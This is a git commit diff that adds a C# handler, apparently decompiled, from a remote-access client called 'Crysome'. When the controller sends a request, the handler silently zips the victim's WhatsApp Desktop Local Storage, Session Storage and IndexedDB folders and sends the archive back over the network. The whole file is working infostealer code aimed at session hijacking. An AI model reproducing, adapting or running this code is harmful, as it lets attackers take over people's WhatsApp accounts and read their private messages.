initial commit

2026-08-27 11:22:54 -06:00
commit 3d81b11e14
2281 changed files with 54227 additions and 0 deletions
@@ -0,0 +1,138 @@
+using System;
+using System.IO;
+using System.IO.Compression;
+using System.Threading.Tasks;
+using Crysome.Common.Network;
+using Crysome.Common.Network.Packets;
+using Crysome.Common.Network.Packets.Client;
+
+namespace Crysome.Client.Handlers;
+
+public static class WhatsAppHandlers
+{
+	private static long _totalBytes;
+
+	private static readonly long MaxZipBytes = 52428800L;
+
+	public static void HandleWhatsAppSessionRequest(CrysomeClient client, IPacket packet)
+	{
+		Task.Run(delegate
+		{
+			DoCollectWhatsAppSession(client);
+		});
+	}
+
+	private static void DoCollectWhatsAppSession(CrysomeClient client)
+	{
+		//IL_0149: Unknown result type (might be due to invalid IL or missing references)
+		//IL_0153: Expected O, but got Unknown
+		//IL_0029: Unknown result type (might be due to invalid IL or missing references)
+		//IL_0033: Expected O, but got Unknown
+		//IL_00ef: Unknown result type (might be due to invalid IL or missing references)
+		//IL_00f9: Expected O, but got Unknown
+		//IL_00db: Unknown result type (might be due to invalid IL or missing references)
+		//IL_00e5: Expected O, but got Unknown
+		_totalBytes = 0L;
+		try
+		{
+			string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "WhatsApp");
+			if (!Directory.Exists(text))
+			{
+				client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(false, "WhatsApp not installed or no session found.", (byte[])null));
+				return;
+			}
+			string[] array = new string[3]
+			{
+				Path.Combine(text, "Local Storage"),
+				Path.Combine(text, "Session Storage"),
+				Path.Combine(text, "IndexedDB")
+			};
+			using MemoryStream memoryStream = new MemoryStream();
+			using (ZipArchive zip = new ZipArchive(memoryStream, ZipArchiveMode.Create, leaveOpen: true))
+			{
+				string[] array2 = array;
+				foreach (string text2 in array2)
+				{
+					if (Directory.Exists(text2))
+					{
+						string fileName = Path.GetFileName(text2);
+						AddDirectoryToZip(zip, text2, fileName, 52428800L);
+					}
+				}
+			}
+			byte[] array3 = memoryStream.ToArray();
+			if (array3.Length == 0)
+			{
+				client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(false, "No WhatsApp session files found.", (byte[])null));
+				return;
+			}
+			client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(true, "", array3));
+			Program.Log("WhatsApp session sent: " + array3.Length + " bytes");
+		}
+		catch (Exception ex)
+		{
+			Program.Log("WhatsApp session error: " + ex.Message);
+			try
+			{
+				client.SendPacket((IPacket)new WhatsAppSessionResponsePacket(false, ex.Message, (byte[])null));
+			}
+			catch
+			{
+			}
+		}
+	}
+
+	private static void AddDirectoryToZip(ZipArchive zip, string sourceDir, string zipFolder, long maxBytes, int depth = 0)
+	{
+		if (depth > 8 || _totalBytes > maxBytes)
+		{
+			return;
+		}
+		try
+		{
+			string[] files = Directory.GetFiles(sourceDir);
+			foreach (string text in files)
+			{
+				if (_totalBytes > maxBytes)
+				{
+					return;
+				}
+				try
+				{
+					FileInfo fileInfo = new FileInfo(text);
+					if (fileInfo.Length > 10485760)
+					{
+						continue;
+					}
+					string entryName = zipFolder + "/" + Path.GetFileName(text);
+					using Stream destination = zip.CreateEntry(entryName, CompressionLevel.Fastest).Open();
+					using FileStream fileStream = new FileStream(text, FileMode.Open, FileAccess.Read, FileShare.ReadWrite | FileShare.Delete);
+					fileStream.CopyTo(destination);
+					_totalBytes += fileInfo.Length;
+				}
+				catch
+				{
+				}
+			}
+		}
+		catch
+		{
+		}
+		try
+		{
+			string[] files = Directory.GetDirectories(sourceDir);
+			foreach (string text2 in files)
+			{
+				if (_totalBytes > maxBytes)
+				{
+					break;
+				}
+				string zipFolder2 = zipFolder + "/" + Path.GetFileName(text2);
+				AddDirectoryToZip(zip, text2, zipFolder2, maxBytes, depth + 1);
+			}
+		}
+		catch
+		{
+		}
+	}
+}